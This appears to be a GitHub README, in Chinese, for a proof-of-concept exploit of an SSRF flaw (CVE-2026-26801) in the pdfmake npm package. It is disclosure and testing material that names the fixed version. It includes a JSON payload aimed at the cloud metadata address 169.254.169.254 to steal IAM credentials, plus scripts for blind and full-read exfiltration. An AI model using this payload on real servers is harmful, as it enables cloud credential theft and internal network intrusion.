mariopepe/CVE-2026-26801-pdfmake-ssrf
GitHub: mariopepe/CVE-2026-26801-pdfmake-ssrf
pdfmake SSRF漏洞(CVE-2026-26801)的完整PoC,演示如何通过未验证的URL获取功能窃取云凭证和探测内网。
Stars: 0 | Forks: 0
# pdfmake SSRF 漏洞 PoC
## 漏洞概述
| 字段 | 值 |
|-------|-------|
| 软件包 | pdfmake |
| 版本 | >= 0.3.0-beta.2, <= 0.3.5 |
| 修复版本 | 0.3.6 |
| CVE | [CVE-2026-26801](https://www.cve.org/CVERecord?id=CVE-2026-26801) |
| 类型 | 服务端请求伪造 (SSRF) |
| 位置 | `src/URLResolver.js` |
| 严重程度 | HIGH |
## 根本原因
```
// URLResolver.js line 3
const response = await fetch(url, { headers }); // NO VALIDATION!
```
当 `docDefinition` 在 `images`、`attachments` 或 `files` 中包含 URL 时,pdfmake 在获取它们时未进行任何验证:
- 没有针对域名的允许列表/阻止列表
- 没有针对内部 IP (127.0.0.1, 169.254.169.254, 10.x.x.x) 的保护
- 支持自定义 headers(可绕过认证)
## 复现步骤
### 环境设置
```
npm install
```
### 终端 1 - 模拟 AWS 元数据服务器
```
npm run metadata
```
### 终端 2 - 存在漏洞的 PDF 服务器
```
npm run server
```
### 终端 3 - 执行攻击
**Blind SSRF**(证明服务器发起了出站请求):
```
npm run attack
```
**完全读取 SSRF**(凭据被嵌入到生成的 PDF 中):
```
npm run exfiltrate
```
## 预期结果
### 盲 SSRF (`npm run attack`)
**元数据服务器输出:**
```
[METADATA] GET /latest/meta-data/iam/security-credentials/vulnerable-ec2-role
[METADATA] >>> CREDENTIALS LEAKED! <<<
```
这证明了存在漏洞的服务器向我们要控制 的端点发起了出站请求。
### 完全读取 SSRF (`npm run exfiltrate`)
攻击脚本会生成 `exfiltrated.pdf`。在任何 PDF 查看器中打开它,AWS 凭证 JSON 会作为文件附件 (`metadata.json`) 嵌入其中。这证明了完整的数据渗透,而不仅仅是 Blind SSRF。攻击者可以在 PDF 内部获取实际的响应体。
## 现实世界影响
1. **AWS/GCP/Azure 凭证窃取** - 访问云元数据端点
2. **内部网络访问** - 触达内部服务
3. **端口扫描** - 枚举内部基础设施
4. **绕过认证** - 使用自定义 headers 绕过认证
## 攻击载荷
```
{
"content": ["Hello"],
"images": {
"x": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
```
## 分析文章
包含发现过程、攻击链和披露时间表的完整技术分析文章:[mariopepe.github.io/cve-2026-26801-pdfmake-ssrf](https://mariopepe.github.io/cve-2026-26801-pdfmake-ssrf)
标签:AWS 凭证泄露, CMS安全, CVE-2026-26801, GitHub, GNU通用公共许可证, IP 地址批量处理, JavaScript, Maven, MITM代理, Node.js, NPM 包, pdfmake, PoC, SSRF, URLResolver, 云元数据窃取, 内网探测, 密码管理, 数据可视化, 数据渗透, 暗色界面, 暴力破解, 服务器端请求伪造, 漏洞验证, 网络安全, 自定义脚本, 隐私保护, 高严重性漏洞